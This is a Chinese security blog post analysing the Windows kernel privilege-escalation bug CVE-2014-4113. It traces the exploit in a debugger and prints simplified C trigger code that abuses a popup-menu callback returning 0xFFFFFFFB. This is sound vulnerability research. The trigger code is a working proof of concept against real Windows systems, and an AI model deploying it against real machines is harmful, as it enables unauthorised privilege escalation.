CVE-2014-4113漏洞利用过程分析

cssembly 2014-10-24 14:13:00

0x00 简介


通过VMware和Windbg搭建32位内核调试环境,系统为xp sp2,执行漏洞利用程序win32.exe calc.exe,弹出了一个SYSTEM权限的calc。

通过IDA分析win32.exe,可以看到signed int __cdecl sub_4010F2()函数通过调用ZwQuerySystemInformation泄露内核模块ntkrnlpa.exe基址,最终得到PsLookupProcessByProcessId函数地址,该函数用于漏洞利用代码。

sub_401830函数是漏洞利用代码,完成权限提升操作。

0x01 调试过程


通过在函数上设置断点,可以得到漏洞利用触发位置。

可见是由TrackPopupMenu最终触发了漏洞,调用点为call dwordptr[esi+20],此时esi的值为0xfffffffb。 通过函数调用栈,对esi值的来源进行反向跟踪,可以知道在Menu的消息处理函数signed int __stdcall xxxHandleMenuMessages(int a1, int a2, int a3)中调用int __stdcall xxxMNFindWindowFromPoint(int a1, int a2, unsigned int a3)时返回了异常的值,最终触发了漏洞。

通过对xxxMNFindWindowFromPoint的调用过程进行分析,找到异常的返回值是在int __stdcall SfnOUTDWORDINDWORD(int a1, int a2, int a3, int a4, int a5, int a6, char a7, int a8)中得到的。异常的值最终是由KeUserModeCallback函数通过v28指向的值返回。其中KeUserModeCallback函数的原型如下:

NTSTATUS
KeUserModeCallback (
     IN ULONGApiNumber,
     IN PVOIDInputBuffer,
     IN ULONGInputLength,
     OUT PVOID *OutputBuffer,
     IN PULONGOutputLength
     );

内核态的KeUserModeCallback函数最终会调用ntdll中的KiUserCallbackDispatcher函数来调用用户态回调函数,通过对KeUserModeCallbackKiUserCallbackDispatcher设置断点,可以看到第一次处理0x1EB(MN_FINDWINDOWFROMPOINT)消息是通过xxxSendMessageTimeout中调用的xxxCallHook来调用用户注册的钩子函数,在用户空间里函数调用了USER32中的__fnOUTDWORDINDWORD函数,最终调用sub_401475(pfnFilterProc)函数。

程序在pfnFilterProc中通过SetWindowLongA设置PopupMenu的窗口消息处理函数,那么当xxxCallHook函数返回后,图中的!(*(_BYTE *)(a1 + 22) & 4)条件成立,将执行xxxSendMessageToClient,该函数内将执行KeUserModeCallback,最终调用用户态函数sub_4013F3

sub_4013F3函数尾部返回了0xFFFFFFFB。与KeUserModeCallback函数通过v28返回的值相等。为了进一步确认,修改sub_4013F3函数返回值为0xFFFFFFFF。可以看到v28指向的值变成了0xFFFFFFF

通过修改win32.exe中的指令,将0x40146D处的push 0FFFFFFFBh修改为push 0FFFFFFFFh,执行之后发现提权失败。进一步确定由于内核的使用了异常的函数返回值,最终导致了权限提升。

可见在PopupMenu的窗口消息处理函数处理0x1EB的消息时,没有判断消息函数的返回值,最终导致了权限提升。 所以漏洞触发的完整过程如下:通过模仿点击事件,CreatePopupMenu创建的PopupMenu会收到0x1EB类型的消息,因为无法拿到PopupMenu的窗口句柄,程序并没有办法直接设置PopupMenu的窗口消息处理函数,因此首先通过SetWindowsHookExA注册钩子函数,在钩子函数中得到PopupMenu的窗口句柄,再通过SetWindowLongA设置PopupMenu的窗口消息处理函数,注册之后,xxxSendMessageToClient将调用新的窗口消息处理函数,接收并处理0x1EB的消息。 在新的窗口消息处理函数中,对于消息号为0x1EB的消息,函数返回了0xFFFFFFFB,最终触发了漏洞。

0x02 触发代码


通过上面的分析,根据win32.exe中代码,稍加简化,可以得到如下的漏洞触发代码。

#include"stdafx.h"
#include<windows.h>
DWORD dword_40DA54=0,dword_40DA5C=0;
WNDPROC lpPrevWndFunc = NULL;
LRESULT CALLBACK sub_4014D2(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam )
{
if ( Msg == WM_ENTERIDLE )
  {
if ( dword_40DA5C != 1 )
    {
      dword_40DA5C = 1;
//模仿点击消息,触发0x1EB消息处理,执行pfnFilterProc
      PostMessageA(hWnd, WM_KEYDOWN, 0x28u, 0);
      PostMessageA(hWnd, WM_KEYDOWN, 0x27u, 0);
      PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0);
    }
  }
return DefWindowProcA( hWnd,Msg,wParam,lParam);
}
int __cdecl sub_401306()
{
  HMENU v0; // ebx@1
  HMENU v1; // edi@4
  MENUITEMINFOA mi; // [sp+Ch] [bp-64h]@1
  MENUITEMINFOA v4; // [sp+3Ch] [bp-34h]@1
  HMENU v9; // [sp+6Ch] [bp-4h]@1

  v9 = 0;
  memset((void *)&mi, 0, sizeof(mi));
  memset(&v4, 0, sizeof(MENUITEMINFOA));
  mi.cbSize = 48;
  v0 = CreatePopupMenu();
if ( v0 )
  {
    mi.fMask = 64;
if ( InsertMenuItemA(v0, 0, 1, &mi) )
    {
      v4.fMask = 68;
      v4.dwTypeData = (LPSTR)&dword_40DA54;
      v4.cch = 1;
      v4.hSubMenu = v0;
      v4.cbSize = 48;
      v1 = CreatePopupMenu();
      v9 = v1;
if ( !v1 || !InsertMenuItemA(v1, 0, 1, (LPCMENUITEMINFOA)&v4) )
      {
        DestroyMenu(v0);
if ( v1 )
          DestroyMenu(v1);
      }
    }
else
      DestroyMenu(v0);
  }
return (int)v9;
}

unsigned int __stdcall sub_4013F3(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if ( Msg != 0x1EB )
return CallWindowProcA(lpPrevWndFunc, hWnd, Msg, wParam, lParam);
return 0xFFFFFFFBu;//返回xFFFFFFFB,触发漏洞
}

LRESULT __stdcall pfnFilterProc(int nCode, WPARAM wParam, LPARAM lParam)
{
if ( *(DWORD *)(lParam + 8) == 0x1EB )
  {
        UnhookWindowsHook(4, pfnFilterProc);
        //设置PopupMenu的窗口消息处理函数
        lpPrevWndFunc = (WNDPROC)SetWindowLongA(*(HWND *)(lParam + 12), -4, (LONG)sub_4013F3);
  }
return CallNextHookEx(0, nCode, wParam, lParam);
}

int __stdcall Exp()
{
int v1; // ebx@3
  DWORD v2; // eax@5
int result; // eax@12
  HWND hWnd; // [sp+10h] [bp-58h]@2
signed int v5; // [sp+14h] [bp-54h]@1
  LPVOID lpAddress; // [sp+18h] [bp-50h]@1
struct _SYSTEM_INFO SystemInfo; // [sp+1Ch] [bp-4Ch]@1
  WNDCLASSA WndClass; // [sp+40h] [bp-28h]@1
  v5 = 0;
  lpAddress = 0;
  memset(&SystemInfo, 0, 0x24u);
  memset(&WndClass, 0, 0x28u);
  WndClass.lpfnWndProc = (WNDPROC)sub_4014D2;
  WndClass.lpszClassName = "woqunimalegebi";
  GetNativeSystemInfo(&SystemInfo);
if ( 
SystemInfo.dwOemId != 9
&& (RegisterClassA(&WndClass)
&&(hWnd = CreateWindowExA(0, WndClass.lpszClassName, 0, 0, -1, -1, 0, 0, 0, 0, 0, 0)) !=0) 
)
  {
v1 = 0;
v5 = 1;
    v1 = sub_401306();
    if ( v1 )
    {
        v2 = GetCurrentThreadId();
        SetWindowsHookExA(4, pfnFilterProc, 0, v2);
        TrackPopupMenu((HMENU)v1, 0, 0xFFFFD8F0u, 0xFFFFD8F0u, 0, hWnd, 0);
    }
    DestroyWindow(hWnd);
if ( v1 )
      DestroyMenu((HMENU)v1);
    UnhookWindowsHook(4, pfnFilterProc);
if ( v5 )
      VirtualFree(lpAddress, 0, 0x8000u);
    result = 0;
  }
else
    result = 0;
return result;
}

int _tmain(int argc, _TCHAR* argv[])
{
    Exp();
    return 0;
}

编译执行之后,可以看到触发了异常。

评论

小胖子 2014-10-26 17:31:46

沙发,撒花~

L

Love.china.coco 2014-11-21 14:29:56

大神 你好,请问我怎么样才可以和你一样 漏洞分析的。求推荐几个语言,先学什么好。C还是汇编。

C

cssembly

天资不足,勤奋有余!

twitter weibo github wechat

随机分类

SQL注入 文章:39 篇
软件安全 文章:17 篇
企业安全 文章:40 篇
网络协议 文章:18 篇
安全开发 文章:83 篇

扫码关注公众号

WeChat Offical Account QRCode

最新评论

Article_kelp

因为这里的静态目录访功能应该理解为绑定在static路径下的内置路由,你需要用s

N

Nas

师傅您好!_static_url_path那 flag在当前目录下 通过原型链污

Z

zhangy

你好,为什么我也是用windows2016和win10,但是流量是smb3,加密

K

k0uaz

foniw师傅提到的setfge当在类的字段名成是age时不会自动调用。因为获取

Yukong

🐮皮

目录